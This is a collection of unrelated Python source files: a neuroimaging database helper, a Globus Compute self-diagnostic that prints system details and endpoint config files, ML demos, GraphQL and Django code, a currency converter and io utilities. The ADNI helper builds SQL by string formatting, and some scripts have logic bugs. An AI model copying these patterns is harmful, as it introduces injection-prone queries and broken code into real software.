__init__(self):\n self.DBClient = DbUtils()\n self.MatchDBClient = DbUtils(database=pc.ADNI_dataMatchDBName)\n\n def getMatchingT1(self, processingItemObj):\n modalityID = '{0}{1}{2}{3}{4}{5}{6}'.format(processingItemObj.study, processingItemObj.version, processingItemObj.subject_rid, processingItemObj.modality, processingItemObj.scan_date.replace('-', ''), processingItemObj.s_identifier, processingItemObj.i_identifier)\n getFromMatchTableSQL = \"SELECT * FROM MatchT1 WHERE MODALITY_ID = '{0}'\".format(modalityID)\n\n # Find matching record in matching T1 table\n existingMatchedRec = self.DBClient.executeAllResults(getFromMatchTableSQL)\n if len(existingMatchedRec) == 1:\n getConvSQL = \"SELECT * FROM Conversion WHERE RECORD_ID = '{0}'\".format(existingMatchedRec[0][3])\n return self.DBClient.executeAllResults(getConvSQL)[0]\n else:\n # If can't find them, look into MRIList to find an equivalent\n getFmriRecordSQL = \"SELECT * FROM MRILIST WHERE subject LIKE '%_%_{0}' AND seriesid = {1} AND imageuid = {2}\".format(processingItemObj.subject_rid, processingItemObj.s_identifier.replace('S', ''), processingItemObj.i_identifier.replace('I', ''))\n FmriRecord = self.MatchDBClient.executeAllResults(getFmriRecordSQL)\n if not FmriRecord:\n PipelineLogger.log('root', 'error', 'Cannot find Fmri record : {0} - {1} - {2}'.format(processingItemObj.subject_rid, processingItemObj.s_identifier.replace('S', ''), processingItemObj.i_identifier.replace('I', '')))\n return None\n\n visit_code = pc.ADNI_visitCode_Dict[FmriRecord[0][2]]\n getMRIRecordsSQL = \"SELECT * FROM MPRAGEMETA WHERE subjectid LIKE '%_%_{0}'\".format(processingItemObj.subject_rid)\n\n mrirecords = self.MatchDBClient.executeAllResults(getMRIRecordsSQL)\n if not mrirecords:\n PipelineLogger.log('root', 'error', '################################ - Error !!!!! Cannot find any MRI records : {0} - Please check ADNI recs. ################################'.format(processingItemObj.subject_rid))\n return None\n\n # getMRISecondarySQL = \"SELECT * FROM MRILIST WHERE subject LIKE '%_%_{0}'\".format(processingItemObj.subject_rid)\n # mriSecondaryRecords = self.MatchDBClient.executeAllResults(getMRISecondarySQL)\n # t_mrirecords = mrirecords\n # for record in mriSecondaryRecords:\n # distint = 1\n # for i in t_mrirecords:\n # if record[7] == i[7] and record[8] == i[8]:\n # distint = 0\n # if distint:\n # mrirecords.append(record)\n\n matchedT1Recs = []\n for rec in mrirecords:\n if pc.ADNI_visitCode_Dict[rec[2]] == visit_code:\n matchedT1Recs.append(rec)\n if len(matchedT1Recs) == 0:\n PipelineLogger.log('root', 'error', 'Cannot match visit codes for : {0} - {1} - {2} - Searching based on scan date. +/- 60 days from PET date'.format(processingItemObj.subject_rid, processingItemObj.modality, visit_code))\n pet_date = datetime.strptime(processingItemObj.scan_date, '%Y-%m-%d')\n sortedRecs = sorted(mrirecords, key=lambda x:abs(datetime.strptime(x[5], '%Y-%m-%d') - pet_date))\n closestDate = [k for k,g in itertools.groupby(sortedRecs, key=lambda x:abs(datetime.strptime(x[5], '%Y-%m-%d') - pet_date))][0]\n PipelineLogger.log('root', 'error', 'PET MRI Matching based on dates - match visit codes for : {0} - {1} - {2} - Distance between MRI/PET : {3} days.'.format(processingItemObj.subject_rid, processingItemObj.modality, visit_code, closestDate))\n closestMatchedRecs = [list(g) for k,g in itertools.groupby(sortedRecs, key=lambda x:abs(datetime.strptime(x[5], '%Y-%m-%d') - pet_date))][0]\n matchedT1Recs = closestMatchedRecs\n if len(matchedT1Recs) == 0:\n PipelineLogger.log('root', 'error', 'Cannot match visit codes for : {0} - {1} - {2}'.format(processingItemObj.subject_rid, processingItemObj.modality, visit_code))\n return None\n\n matchedT1withScanDescriptions = []\n for rec in matchedT1Recs:\n getScanFromConversionSQL = \"SELECT * FROM Conversion WHERE STUDY = '{0}' AND S_IDENTIFIER = '{1}' AND I_IDENTIFIER = '{2}' AND SKIP = 0\".format(processingItemObj.study,'S{0}'.format(rec[7]), 'I{0}'.format(rec[8]))\n t1_conversion = self.DBClient.executeAllResults(getScanFromConversionSQL)\n if len(t1_conversion) > 0 :\n matchedT1withScanDescriptions.append(t1_conversion[0])\n else:\n PipelineLogger.log('root', 'error', 'Correspoding MRI was not found in the system : {0} - {1} - {2}'.format(processingItemObj.subject_rid, 'S{0}'.format(rec[7]), 'I{0}'.format(rec[8])))\n continue\n if len(matchedT1withScanDescriptions) < 1:\n PipelineLogger.log('root', 'error', 'Matched T1s are not in the database. : Matched T1 s - \\n {0}'.format(matchedT1Recs))\n return None\n else:\n if len(matchedT1withScanDescriptions) == 1:\n ## ONLY ONE MATCHED T1. GOOD> CHECK IF THE T1 is a good scan type and not a bluff !!!\n if matchedT1withScanDescriptions[0][3] in pc.ADNI_T1_match_accepted_scantypes:\n self.addToMatchT1Table(processingItemObj, modalityID, matchedT1withScanDescriptions[0])\n return matchedT1withScanDescriptions[0]\n else:\n PipelineLogger.log('root', 'error', 'Matched T1s is not accepted scan type. : Matched T1 s - \\n {0}'.format(matchedT1withScanDescriptions[0]))\n return None\n\n else:\n #### MORE THAN ONE FOUND. SELECT ONE BASED ON SCAN TYPE PRIORITY\n sortedList = sorted(matchedT1withScanDescriptions, key=lambda x: (pc.ADNI_T1_match_scantype_priorityList.index(x[3]), -x[5]))\n self.addToMatchT1Table(processingItemObj, modalityID, sortedList[0])\n return sortedList[0]\n\n def checkProcessed(self, t1Record):\n subject_id = t1Record[2]\n version = t1Record[11]\n s_id = t1Record[6]\n i_id = t1Record[7]\n checkProcessedSQL = \"SELECT * FROM Processing WHERE RID = '{0}' AND VERSION = '{1}' AND S_IDENTIFIER = '{2}' AND I_IDENTIFIER = '{3}'\".format(subject_id, version, s_id, i_id)\n result = self.DBClient.executeAllResults(checkProcessedSQL)[0]\n if len(result) < 1:\n PipelineLogger.log('root', 'error', 'Matched T1 is not added to the processing table. {0} - {1} - {2}'.format(subject_id, s_id, i_id))\n return False\n else:\n if result[12] == 1 and result[13] == 1:\n PipelineLogger.log('root', 'debug', 'Matched T1 is processed and QC passed. {0} - {1} - {2}'.format(subject_id, s_id, i_id))\n return result[8]\n else:\n PipelineLogger.log('root', 'error', 'Matched T1 is not process or QC failed. {0} - {1} - {2}'.format(subject_id, s_id, i_id))\n self.startProcessOFT1(result)\n return False\n\n def addToMatchT1Table(self, processingItemObj, modalityID, t1Record):\n pet_date = datetime.strptime(processingItemObj.scan_date, '%Y-%m-%d')\n mri_date =datetime.combine(t1Record[4], datetime.min.time())\n date_diff = abs(mri_date - pet_date)\n t1ID = '{0}{1}{2}_x_{3}_x_{4}{5}{6}'.format(t1Record[1], t1Record[11], t1Record[2], t1Record[3], t1Record[4].strftime('%Y-%m-%d').replace('-', ''), t1Record[6], t1Record[7])\n conversionID = t1Record[0]\n sql = \"INSERT IGNORE INTO MatchT1 VALUES (Null, '{0}', '{1}', '{2}', {3})\".format(modalityID, t1ID, conversionID, date_diff.days)\n self.DBClient.executeNoResult(sql)\n\n def startProcessOFT1(self, processTableEntry):\n recordId = processTableEntry[0]\n study = processTableEntry[1]\n sql = \"UPDATE {0}_T1_Pipeline SET SKIP = 0 WHERE PROCESSING_TID = {1}\".format(study, recordId)\n self.DBClient.executeNoResult(sql)\n","sub_path":"Pipelines/ADNI_T1/ADNI_T1_Fmri_Helper.py","file_name":"ADNI_T1_Fmri_Helper.py","file_ext":"py","file_size_in_byte":8586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"357325642","text":"# -*- coding: utf-8 -*-\n#  @Time    : 2020-05-22 10:36\n#  @Author  : Shupeng\nfrom torch.autograd import Variable\n\nfrom subsequent_mask import subsequent_mask\n\n\nclass Batch:\n \"Ojbect for holding a batch of data with mask during training\"\n\n def __init__(self, src, tgt=None, pad=0):\n self.src = src\n self.src_mask = (src != pad).unsqueeze(-2)\n if tgt is not None:\n self.tgt = tgt[:, :-1]\n self.tgt_y = tgt[:, 1:]\n self.tgt_mask = self.make_std_mask(self.tgt, pad)\n self.ntokens = (self.tgt_y != pad).data.sum()\n\n @staticmethod\n def make_std_mask(tgt, pad):\n \"Create a mask to hide padding and future words\"\n tgt_mask = (tgt != pad).unsqueeze(-2)\n tgt_mask = tgt_mask & Variable(\n subsequent_mask(tgt.size(-1)).type_as(tgt_mask.data)\n )\n return tgt_mask\n","sub_path":"Annotated_Transformer/Batch.py","file_name":"Batch.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"147820912","text":"from __future__ import annotations\n\nimport glob\nimport os\nimport shlex\nimport shutil\nimport socket\nimport subprocess\nimport sys\nimport textwrap\n\nimport click\n\n\ndef cat(path: str, wildcard: bool = False, max_bytes: int | None = None):\n def kernel() -> None:\n full_path = os.path.expanduser(path)\n\n if wildcard:\n files = glob.glob(full_path)\n else:\n files = [full_path]\n\n for filename in files:\n click.echo(\"cat \" + filename)\n if os.path.exists(filename):\n with open(filename, \"rb\") as f:\n if max_bytes:\n file_size = os.fstat(f.fileno()).st_size\n f.seek(max(file_size - max_bytes, 0))\n content = f.read().decode(\"utf-8\")\n click.echo(textwrap.indent(content, \" \"))\n else:\n click.secho(f\"No file named {filename}\\n\", fg=\"red\", bold=True)\n\n kernel.display_name = f\"func:cat({path})\" # type: ignore\n return kernel\n\n\ndef test_conn(host: str, port: int, timeout: int = 5):\n def kernel():\n try:\n socket.create_connection((host, port), timeout=timeout)\n click.echo(f\"Connection to {host} over port {port} was successful!\\n\")\n except OSError as e:\n click.secho(\n f\"Connection failed to {host} over port {port}: {e}\\n\",\n fg=\"red\",\n bold=True,\n )\n\n kernel.display_name = f\"func:test_conn({host}, {port})\" # type: ignore\n return kernel\n\n\ndef get_python_version():\n click.echo(f\"Python version {sys.version}\\n\")\n\n\ndef which_python():\n click.echo(f\"{sys.executable}\\n\")\n\n\ndef _run_command(cmd: str):\n cmd_list = shlex.split(cmd)\n arg0 = cmd_list[0]\n\n if not shutil.which(arg0):\n click.secho(f\"{arg0} was not found in the PATH\\n\", fg=\"red\", bold=True)\n return\n\n try:\n res = subprocess.run(cmd_list, timeout=30, capture_output=True)\n if res.stdout:\n click.echo(res.stdout)\n if res.stderr:\n click.secho(res.stderr.decode(\"utf-8\"), fg=\"red\", bold=True)\n except subprocess.TimeoutExpired:\n click.secho(\"Command timed out\\n\", fg=\"red\", bold=True)\n except Exception as e:\n click.secho(f\"Command failed: {e}\\n\", fg=\"red\", bold=True)\n\n\ndef run_self_diagnostic(log_bytes: int | None = None):\n commands = [\n \"uname -a\",\n cat(\"/etc/os-release\"),\n \"whoami\",\n which_python,\n get_python_version,\n \"pip freeze\",\n test_conn(\"compute.api.globus.org\", 443),\n test_conn(\"amqps.funcx.org\", 5671),\n \"ip addr\",\n \"ifconfig\",\n \"ip route\",\n \"netstat -r\",\n \"globus-compute-endpoint whoami\",\n \"globus-compute-endpoint list\",\n cat(\"~/.globus_compute/*/config.*\", wildcard=True),\n cat(\"~/.globus_compute/*/endpoint.log\", wildcard=True, max_bytes=log_bytes),\n ]\n\n for cmd in commands:\n display_name = (\n str(cmd)\n if not callable(cmd)\n else getattr(cmd, \"display_name\", f\"func:{cmd.__name__}()\")\n )\n click.secho(f\"== Diagnostic: {display_name} ==\", fg=\"yellow\", bold=True)\n\n if callable(cmd):\n cmd()\n continue\n\n _run_command(cmd)\n","sub_path":"compute_endpoint/globus_compute_endpoint/self_diagnostic.py","file_name":"self_diagnostic.py","file_ext":"py","file_size_in_byte":3325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"209455276","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 15 20:08:49 2019\n\n@author: 502-23\n\"\"\"\n\nimport numpy as np\n\nX = np.array([1,2,3,4,5,6,7,8,9,10]).reshape(-1,1)\ny = np.array([10,20,30,40,50,60,70,80,90,100])\n\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.tree import DecisionTreeRegressor\n\nknn_model = KNeighborsRegressor(n_neighbors=3).fit(X,y)\nlr_model = LinearRegression().fit(X,y)\ndt_model = DecisionTreeRegressor().fit(X,y)\n\nprint(\"훈련 정확도 (KNN): {:.3f}\".format(knn_model.score(X, y)))\nprint(\"훈련 정확도 (LR): {:.3f}\".format(lr_model.score(X, y)))\nprint(\"훈련 정확도 (DT): {:.3f}\".format(dt_model.score(X, y)))\n\n# 결정 트리 또느 ㄴ최근접 이웃 알고리즘을 쓰는 경우 주의사항\n# 학습에 사용된 특성 ㄷ데이터 (X)의 범주를 벗어나느 데이터를 사용하여\n# 예측하려는 경우 선형 모델과 다르게 학습 데이터 영역을 벗어난 값을 예측할 수 없음. \n\n# 시계열 ㄷ데이터와 같은 경우 되도록 선형 모델을 활용하여\n# 예측해야 합니다.\n\n# 학습엔 사용된 x의 최대값 10을 넘어가는 데이터를 예측하려는 경우\n# 결정 트리는 학습 데이터엥서 사용된 y의 최댓값(10)만을 반환합니다.\n\nX_test = np.array([100]).reshape(-1,1)\n\nprint(\"예측 결과(KNN): \",format(knn_model.predict(X_test)))\nprint(\"예측 결과(LR): \",format(lr_model.predict(X_test)))\nprint(\"예측 결과(DT): \",format(dt_model.predict(X_test)))\n\n#####트리구조와 KNN의 약점############################################\n## 최근접 이웃과 디시전트리는 샘플 이외의 값이 나오면 예측이 안됨.\n# 내가 가지고 있는 최대치 혹은 최소치만 반환.\n\n\n\nfrom sklearn.tree import export_graphviz\n\nexport_graphviz(dt_model, out_file='error_tree.dot', \n feature_names=[\"X1\"], filled=True)\n\nimport graphviz\nfrom IPython.display import display\n\nwith open('error_tree.dot', encoding='utf-8') as f:\n dot_graph = f.read()\n \ndisplay(graphviz.Source(dot_graph))\n\n\n","sub_path":"dev/20190415_ml_teacher/2_scikit-learn/3_decision_tree/DecisionTreeClassifier_05.py","file_name":"DecisionTreeClassifier_05.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"382097324","text":"import graphene\nfrom helpers.auth.authentication import Auth\nfrom graphene_sqlalchemy import SQLAlchemyObjectType\nfrom api.response.models import Response as ResponseModel\nfrom utilities.validations import validate_empty_fields\nfrom graphql import GraphQLError\nfrom api.room.schema import Room\nfrom api.question.models import Question as QuestionModel\nfrom helpers.response.create_response import create_response\n\n\nclass Response(SQLAlchemyObjectType):\n \"\"\"\n Autogenerated return type of a response\n \"\"\"\n class Meta:\n model = ResponseModel\n\n\nclass ResponseInputs(graphene.InputObjectType):\n question_id = graphene.Int(\n required=True, description=\"Unique identifier field of a question\")\n rate = graphene.Int(description=\"Id field of where the response is made\")\n text_area = graphene.String(description=\"The rate field of response inputs\")\n missing_items = graphene.List(\n graphene.Int, description=\"Number field of the missing items\")\n\n\nclass CreateResponse(graphene.Mutation):\n \"\"\"\n Returns response payload on creating a response\n \"\"\"\n class Arguments:\n responses = graphene.List(ResponseInputs, required=True)\n room_id = graphene.Int(required=True)\n\n response = graphene.List(Response)\n\n def mutate(self, info, **kwargs):\n validate_empty_fields(**kwargs)\n query = Room.get_query(info)\n responses = []\n errors = []\n room = query.filter_by(id=kwargs['room_id']).first()\n if not room:\n raise GraphQLError(\"Non-existent room id\")\n for each_response in kwargs['responses']:\n question = QuestionModel.query.filter_by(\n id=each_response.question_id).first()\n if not question:\n errors.append(\n \"Response to question {} was not saved because it does not exist\".format(each_response.question_id)) # noqa\n continue\n question_type = question.question_type\n each_response['room_id'] = kwargs['room_id']\n responses, errors = create_response(question_type,\n errors,\n responses,\n **each_response)\n if errors:\n raise GraphQLError(\n ('The following errors occured: {}').format(\n str(errors).strip('[]'))\n )\n return CreateResponse(response=responses)\n\n\nclass Query(graphene.ObjectType):\n \"\"\"\n Query to get the room response\n \"\"\"\n get_room_response = graphene.List(\n Response,\n room_id=graphene.Int(),\n description=\"Returns a list of responses of a room. Accepts the arguments\\\n \\n- room_id: Unique identifier of a room\"\n )\n\n @Auth.user_roles('Admin')\n def resolve_get_room_response(self, info, **kwargs):\n # Get the room's feedback\n query = Response.get_query(info)\n room_feedback = query.filter_by(room_id=kwargs['room_id'])\n if room_feedback.count() < 1:\n raise GraphQLError(\"No Feedback Found\")\n return room_feedback\n\n\nclass HandleRoomResponse(graphene.Mutation):\n \"\"\"\n Returns payload on marking or unmarking\n a response as resolved\n \"\"\"\n class Arguments:\n response_id = graphene.Int()\n\n room_response = graphene.Field(Response)\n\n @Auth.user_roles('Admin')\n def mutate(self, info, response_id, **kwargs):\n query_responses = Response.get_query(info)\n room_response = query_responses.filter(\n ResponseModel.id == response_id).first()\n if not room_response:\n raise GraphQLError(\"Response does not exist\")\n if room_response.resolved:\n room_response.resolved = False\n room_response.save()\n else:\n room_response.resolved = True\n room_response.save()\n return HandleRoomResponse(room_response=room_response)\n\n\nclass Mutation(graphene.ObjectType):\n create_response = CreateResponse.Field(\n description=\"Mutation to create a new response taking the arguments\\\n \\n- responses: Field for the response inputs\\\n \\n- room_id: Unique key identifier of the room where the response \\\n is made\")\n resolve_room_response = HandleRoomResponse.Field(\n description=\"Mutation to mark or unmark a response as resolved\\\n \\n- room_response: Field for the response inputs\\\n \\n- response_id: Unique key identifier of a room_response\"\n )\n","sub_path":"api/response/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":4604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"34888749","text":"import os\n\nfrom django.db.models import Q\nfrom django.db.models import Sum\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.core.mail import EmailMessage\n\nfrom collections import OrderedDict\nfrom decimal import Decimal as D\n\nfrom .choices import BCC\nfrom .models import QuantityLog, Distribution\nfrom branch.models import Library as Branch\n\nfrom time import time\nfrom openpyxl import Workbook\n\n# def send_statistics(receipent, drange, filePath):\n# email = EmailMessage('სტატისტიკა', 'თქვენს მიერ მოთხოვნილი სტატისტიკა მზად არის',\n# 'fromEmail.com', [receipent])\n# email.attach_file(filePath)\n# email.send()\n\nclass Statistics:\n def __init__(self, date_range, branch=None):\n self.file_path = \"{0}.xlsx\".format(str(time()))\n self.date_range = date_range\n self.branch = branch\n\n def migration(self):\n self.dists = Distribution.objects.filter(branch=self.branch)\n\n self.qlogs = QuantityLog.objects.none()\n self.prices = []\n self.quantities = []\n\n classes = OrderedDict()\n for item in BCC:\n classes[item[0]] = 0\n\n for dist in self.dists:\n st = time()\n quantity, dist_total_price = 0, 0\n dist_logs = dist.logs.filter(created__range=self.date_range)\n quantity = self.get_sum(qs=dist_logs)\n\n #get book price based on quantity\n price = dist.book.price\n if price is not None and quantity is not None:\n dist_total_price = quantity * dist.book.price\n self.quantities.append(quantity)\n\n classes[dist.book.classification] += 1\n\n self.prices.append(dist_total_price)\n self.qlogs |= dist_logs\n\n # data_rows = OrderedDict()\n # data_rows[_('სრული რაოდენობა')] = sum(self.quantities)\n # data_rows[_('სრული ღირებულება')] = sum(self.prices)\n # data_rows.update(classes)\n\n #construct excel\n wb = Workbook()\n sheet = wb.get_active_sheet()\n sheet.title = str(_(\"მიგრაციის სტატისტიკა\"))\n sheet.cell(row=1, column=1).value = str(_(\"ინტერვალი\"))\n sheet.cell(row=1, column=2).value = str(self.date_range[0])\n sheet.cell(row=1, column=3).value = str(self.date_range[1])\n sheet.cell(row=2, column=1).value = str(_(\"სულ რაოდენობა\"))\n sheet.cell(row=2, column=2).value = str(_(\"სულ თანხა\"))\n sheet.cell(row=3, column=1).value = str(sum(self.quantities))\n sheet.cell(row=3, column=2).value = str(sum(self.prices))\n index = 0\n for item in BCC:\n sheet.cell(row=2, column=(3 + index)).value = item[0]\n sheet.cell(row=3, column=(3 + index)).value = classes[item[0]]\n index += 1\n wb.save(self.file_path)\n\n def get_sum(self, qs, fname='quantity'):\n key = fname + \"__sum\"\n return qs.aggregate(Sum(fname))[key]\n\n def send_mail(self, function, subject, receipent):\n email = EmailMessage(subject=subject, to=[receipent,])\n try:\n function()\n email.attach_file(self.file_path)\n except Exception as ge:\n print(ge)\n email.body = _(\"შეცდომა მონაცემების დამუშავებისას, {0}\".format(ge))\n email.send(fail_silently=False)\n os.remove(self.file_path)\n ","sub_path":"book/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":3640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"255925145","text":"#Написать приложение \"Онлайн конвертер валют\". =)\n#Приложение спрашивает пользователя:\n# currency_from: string (default USD)\n# currency_to: string (default UAH)\n#Проверка ввода параметра валют (from, to) должна быть в symbols.json по ключу symbols)\n\n# amount: float (default 100.00)\n# start_date: string\n#(пример. 2020-09-22 если дата не в этом формате, выставлять по-умолчанию дату текущего дня,\n# если дата превышает текущий день, тоже выставляем дату текущего дня)\n#Если дата меньше или равна текущему дню, то от start_date до текущего идет итерация:\n#Приложение делает GET запрос:\n# https://api.exchangerate.host/convert\n# Принимаемые параметры from, to, amount, date\n# (from=USD&to=UAH&amount=10000.5&date=2020-09-18)\n#Итоговый вывод должен быть точно в таком же формате (пример если start_date == 2020-09-18):\n#[['date', 'from', 'to', 'amount', 'rate', 'result'],\n# ['2020-09-18', 'USD', 'UAH', 10000.5, 28.163466, 281648.743085],\n# ['2020-09-19', 'USD', 'UAH', 10000.5, 28.163466, 281648.737791],\n# ['2020-09-20', 'USD', 'UAH', 10000.5, 28.163455, 281648.630637],\n# ['2020-09-21', 'USD', 'UAH', 10000.5, 28.23733, 282387.419415],\n# ['2020-09-22', 'USD', 'UAH', 10000.5, 28.265772, 282671.854989]]\n\n#** доп. задание. ввод данных должен приниматься парсингом аргументов, модуль\n# argparse.\n# Только --start_date опциональный параметр.\n# В итоге чтобы была возможность запустить приложение командой:\n# python exchange_rates.py USD UAH 100 --start_date 2020-09-18\n#В данном случае пользователя спрашивать не нужно.\n\nimport datetime\nimport json\nimport argparse\nimport requests\nfrom pprint import pprint as pp\n\ndef symbols():\n with open('symbols.json', 'r') as file:\n symbols_file = json.load(file)\n return symbols_file\n\ndef get_values(arguments ,symbols_file):\n symbols_file = symbols()\n currency_from = arguments.currency_from\n if currency_from.upper() not in symbols_file['symbols']:\n print('Нет такой валюты!')\n currency_from = 'USD'\n currency_to = arguments.currency_to\n if currency_to.upper() not in symbols_file['symbols']:\n print('Нет такой валюты!')\n currency_to = 'UAH'\n try:\n amount = float(arguments.amount)\n except ValueError:\n amount = 100.00\n print('Неправильный ввод!!!')\n try:\n if arguments.start_date:\n start_date = datetime.datetime.strptime(arguments.start_date, '%Y-%m-%d' )\n if start_date > datetime.datetime.now():\n start_date = datetime.datetime.now()\n else:\n start_date = datetime.datetime.now()\n except ValueError:\n start_date = datetime.datetime.now()\n print(f'Некорректный ввод даты!')\n return convert(currency_from, currency_to, amount, start_date)\n\ndef convert(currency_from, currency_to, amount, start_date):\n result = ['date','from','to','amount','rate','result']\n while start_date <= datetime.datetime.now():\n request = requests.get('https://api.exchangerate.host/convert',\n params={'from': currency_from, 'to': currency_to, 'amount': amount, 'date': start_date})\n data = request.json()\n result.append([data['date'],\n data['query']['from'],\n data['query']['to'],\n data['query']['amount'],\n data['info']['rate'],\n data['result']])\n start_date += datetime.timedelta(days=1)\n pp(result)\nif __name__ == ' __main__':\n parser = argparse.ArgumentParser(description='Exchenge rates')\n parser.add_argument('currency_from')\n parser.add_argument('currency_to')\n parser.add_argument('amount')\n parser.add_argument('--start_date')\n arguments = parser.parse_args()\n #get_values(arguments, symbols())\n\n get_values(arguments.currency_from,\n arguments.currency_to,\n arguments.amount,\n start_date=arguments.start_date)\n\n\n\n","sub_path":"LEVEL_1/LESSON_8/lesson-8-1.py","file_name":"lesson-8-1.py","file_ext":"py","file_size_in_byte":4635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"357302291","text":"#!/usr/bin/env python\n\n\"\"\"\nThis module provides utility classes for io operations.\n\"\"\"\n\n__author__ = \"Shyue Ping Ong, Rickard Armiento, Anubhav Jain, G Matteo\"\n__copyright__ = \"Copyright 2011, The Materials Project\"\n__version__ = \"1.0\"\n__maintainer__ = \"Shyue Ping Ong\"\n__email__ = \"shyuep@gmail.com\"\n__status__ = \"Production\"\n__date__ = \"Sep 23, 2011\"\n\nimport re\nimport numpy\nimport os\nimport time\nimport errno\nfrom bz2 import BZ2File\nfrom gzip import GzipFile\n\n\ndef zopen(filename, *args, **kwargs):\n \"\"\"\n This wrapper wraps around the bz2, gzip and standard python's open function\n to deal intelligently with bzipped, gzipped or standard text files.\n\n Args:\n filename:\n filename\n args:\n Standard args for python open(..). E.g., 'r' for read, 'w' for\n write.\n kwargs:\n Standard kwargs for python open(..).\n\n Returns:\n File handler\n \"\"\"\n file_ext = filename.split(\".\")[-1].upper()\n if file_ext == \"BZ2\":\n return BZ2File(filename, *args, **kwargs)\n elif file_ext in (\"GZ\", \"Z\"):\n return GzipFile(filename, *args, **kwargs)\n else:\n return open(filename, *args, **kwargs)\n\n\ndef zpath(filename):\n \"\"\"\n Returns an existing (zipped or unzipped) file path given the unzipped\n version. If no path exists, returns the filename unmodified\n\n Args:\n filename:\n filename without zip extension\n\n Returns:\n filename with a zip extension (unless an unzipped version\n exists)\n \"\"\"\n for ext in [\"\", '.gz', '.GZ', '.bz2', '.BZ2', '.z', '.Z']:\n zfilename = \"{}{}\".format(filename, ext)\n if os.path.exists(zfilename):\n return zfilename\n return filename\n\n\ndef clean_lines(string_list, remove_empty_lines=True):\n \"\"\"\n Strips whitespace, carriage returns and empty lines from a list of strings.\n\n Args:\n string_list:\n List of strings\n remove_empty_lines:\n Set to True to skip lines which are empty after stripping.\n\n Returns:\n List of clean strings with no whitespaces.\n \"\"\"\n\n for s in string_list:\n clean_s = s\n if '#' in s:\n ind = s.index('#')\n clean_s = s[:ind]\n clean_s = clean_s.strip()\n if (not remove_empty_lines) or clean_s != '':\n yield clean_s\n\n\ndef micro_pyawk(filename, search, results=None, debug=None, postdebug=None):\n \"\"\"\n Small awk-mimicking search routine.\n\n 'file' is file to search through.\n 'search' is the \"search program\", a list of lists/tuples with 3 elements;\n i.e. [[regex,test,run],[regex,test,run],...]\n 'results' is a an object that your search program will have access to for\n storing results.\n\n Here regex is either as a Regex object, or a string that we compile into a\n Regex. test and run are callable objects.\n\n This function goes through each line in filename, and if regex matches that\n line *and* test(results,line)==True (or test == None) we execute\n run(results,match),where match is the match object from running\n Regex.match.\n\n The default results is an empty dictionary. Passing a results object let\n you interact with it in run() and test(). Hence, in many occasions it is\n thus clever to use results=self.\n\n Author: Rickard Armiento\n\n Returns:\n results\n \"\"\"\n if results is None:\n results = {}\n\n # Compile strings into regexs\n for entry in search:\n if isinstance(entry[0], str):\n entry[0] = re.compile(entry[0])\n\n with zopen(filename) as f:\n for line in f:\n for i in range(len(search)):\n match = search[i][0].search(line)\n if match and (search[i][1] is not None\n or search[i][1](results, line)):\n if debug is not None:\n debug(results, match)\n search[i][2](results, match)\n if postdebug is not None:\n postdebug(results, match)\n\n return results\n\n\ndef clean_json(input_json, strict=False):\n \"\"\"\n This method cleans an input json-like dict object, either a list or a dict,\n nested or otherwise, by converting all non-string dictionary keys (such as\n int and float) to strings.\n\n Args:\n input_dict:\n input dictionary.\n strict:\n This parameters sets the behavior when clean_json encounters an\n object it does not understand. If strict is True, clean_json will\n try to get the to_dict attribute of the object. If no such\n attribute is found, an attribute error will be thrown. If strict is\n False, clean_json will simply call str(object) to convert the\n object to a string representation.\n\n Returns:\n Sanitized dict that can be json serialized.\n \"\"\"\n if isinstance(input_json, (list, numpy.ndarray, tuple)):\n return [clean_json(i, strict=strict) for i in input_json]\n elif isinstance(input_json, dict):\n return {str(k): clean_json(v, strict=strict)\n for k, v in input_json.items()}\n elif isinstance(input_json, (int, float)):\n return input_json\n else:\n if not strict:\n return str(input_json)\n else:\n if isinstance(input_json, basestring):\n return str(input_json)\n elif input_json is None:\n return 'None'\n else:\n return clean_json(input_json.to_dict, strict=strict)\n\n\ndef which(program):\n \"\"\"\n Returns full path to a executable.\n \"\"\"\n def is_exe(fpath):\n return os.path.isfile(fpath) and os.access(fpath, os.X_OK)\n\n fpath, fname = os.path.split(program)\n if fpath:\n if is_exe(program):\n return program\n else:\n for path in os.environ[\"PATH\"].split(os.pathsep):\n exe_file = os.path.join(path, program)\n if is_exe(exe_file):\n return exe_file\n\n return None\n\n\ndef reverse_readline(m_file, blk_size=4096, max_mem=4000000):\n \"\"\"\n Generator method to read a file line-by-line, but backwards. This allows\n one to efficiently get data at the end of a file.\n\n Based on code by Peter Astrand , using modifications by\n Raymond Hettinger and Kevin German.\n http://code.activestate.com/recipes/439045-read-a-text-file-backwards\n -yet-another-implementat/\n\n Reads file forwards and reverses in memory for files smaller than the\n max_mem parameter, or for gzip files where reverse seeks are not supported.\n\n Files larger than max_mem are dynamically read backwards.\n\n Args:\n m_file:\n File stream to read (backwards)\n blk_size:\n The buffer size. Defaults to 4096.\n max_mem:\n The maximum amount of memory to involve in this operation. This is\n used to determine when to reverse a file in-memory versus seeking\n portions of a file. For bz2 files, this sets the maximum block\n size.\n\n Returns:\n Generator that returns lines from the file. Similar behavior to the\n file.readline() method, except the lines are returned from the back\n of the file.\n \"\"\"\n\n file_size = os.path.getsize(m_file.name)\n\n # If the file size is within our desired RAM use, just reverse it in memory\n # GZip files must use this method because there is no way to negative seek\n if file_size < max_mem or isinstance(m_file, GzipFile):\n for line in reversed(m_file.readlines()):\n yield line.rstrip()\n else:\n if isinstance(m_file, BZ2File):\n # for bz2 files, seeks are expensive. It is therefore in our best\n # interest to maximize the blk_size within limits of desired RAM\n # use.\n 